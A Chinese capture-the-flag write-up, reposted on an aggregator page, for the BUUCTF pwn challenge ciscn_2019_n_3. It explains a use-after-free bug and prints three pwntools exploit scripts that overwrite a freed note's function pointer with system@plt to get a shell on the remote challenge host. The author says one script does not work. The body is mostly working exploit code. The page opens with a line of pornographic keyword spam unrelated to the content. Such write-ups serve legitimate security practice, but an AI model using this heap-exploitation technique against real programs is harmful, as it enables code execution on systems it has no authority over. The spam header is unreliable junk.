日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[BUUCTF-pwn]——ciscn_2019_n_3

發布時間:2024/4/18 编程问答 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [BUUCTF-pwn]——ciscn_2019_n_3 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

[BUUCTF-pwn]——ciscn_2019_n_3

  • 結構體:
//該結構體僅僅是選擇字符串的時候的結構體 struct chunk {void *rec_str_print();void *rec_str_free();char *str; }//該結構體僅僅是選擇數字的時候的結構體 struct chunk {void *rec_int_print();void *rec_int_free();int number; }

這道題目就是簡單的uaf漏洞利用,由于system已經給你了,所以連泄露地址都給你省了。很時候新手練習uaf。簡單來說,就是通過堆漏洞將rec_int_free或者rec_str_free給需要為system。或者將rec_str_free給修改為system

一個不知道為什么不可以的payload, 感覺良好覺得非常可以,但是就是不行。希望有大神可以解惑一下啊

from pwn import *context(log_level='debug',arch='i386') #p = process('./ciscn_2019_n_3') p = remote('node4.buuoj.cn',28062) elf = ELF("./ciscn_2019_n_3") libc = ELF("./libc-2.27.so")def new(index,length,content):p.recvuntil("CNote > ")p.sendline('1')p.recvuntil("Index > ")p.sendline(str(index))p.recvuntil("Type > ")p.sendline('2')p.recvuntil("Length > ")p.sendline(str(length))p.recvuntil("Value > ")p.sendline(content) def delete(index):p.recvuntil("CNote > ")p.sendline('2')p.recvuntil("Index > ")p.sendline(str(index))def show(index):p.recvuntil("> ")p.sendline('3')p.recvuntil("> ")p.sendline(str(index))new(0,0x40,'aaaa') new(1,0x30,'bbbb')delete(0) delete(1) payload = flat([b'aaaa',elf.plt['system']]) #看了一下網上其他人的教程將aaaa改為bash就可以了。雖然我也不知道為什么。 new(2,0xc,payload) new(3,0x40,b'/bin/sh\x00') delete(0) p.interactive()

exploit

通過Integer進行利用

from pwn import *context(log_level='debug',arch='i386') #p = process('./ciscn_2019_n_3') p = remote('node4.buuoj.cn',28062) elf = ELF("./ciscn_2019_n_3") libc = ELF("./libc-2.27.so")def new(index,number):p.recvuntil("CNote > ")p.sendline('1')p.recvuntil("Index > ")p.sendline(str(index))p.recvuntil("Type > ")p.sendline('1')p.recvuntil("Value > ")p.sendline(str(number))def delete(index):p.recvuntil("CNote > ")p.sendline('2')p.recvuntil("Index > ")p.sendline(str(index))def show(index):p.recvuntil("> ")p.sendline('3')p.recvuntil("> ")p.sendline(str(index))new(0,2) new(1,2) new(2,2) delete(0) delete(1)payload = flat([b'sh\x00\x00',elf.plt['system']])p.recvuntil("CNote > ") p.sendline('1') p.recvuntil("Index > ") p.sendline('3') p.recvuntil("Type > ") p.sendline('2') p.recvuntil("Length > ") p.sendline(str(0xc)) p.recvuntil("Value > ") p.sendline(payload)delete(0) p.interactive()

這個是可以利用成功的, 搞不明白為什么將’bin/sh’寫入 0 的 string里面就不可以,通過text進行利用。和上面第一個不可以的exp明明是一個思路。搞不明白。

from pwn import *context(log_level='debug',arch='i386') #p = process('./ciscn_2019_n_3') p = remote('node4.buuoj.cn',28062) elf = ELF("./ciscn_2019_n_3") libc = ELF("./libc-2.27.so")def new(index,length,content):p.recvuntil("CNote > ")p.sendline('1')p.recvuntil("Index > ")p.sendline(str(index))p.recvuntil("Type > ")p.sendline('2')p.recvuntil("Length > ")p.sendline(str(length))p.recvuntil("Value > ")p.sendline(content) def delete(index):p.recvuntil("CNote > ")p.sendline('2')p.recvuntil("Index > ")p.sendline(str(index))def show(index):p.recvuntil("> ")p.sendline('3')p.recvuntil("> ")p.sendline(str(index))new(0,0x30,'aaaa') new(1,0x30,'bbbb')delete(0) delete(1) payload = flat([b'sh\x00\x00',elf.plt['system']]) new(3,0xc,payload)delete(0) p.interactive()

總結

以上是生活随笔為你收集整理的[BUUCTF-pwn]——ciscn_2019_n_3的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。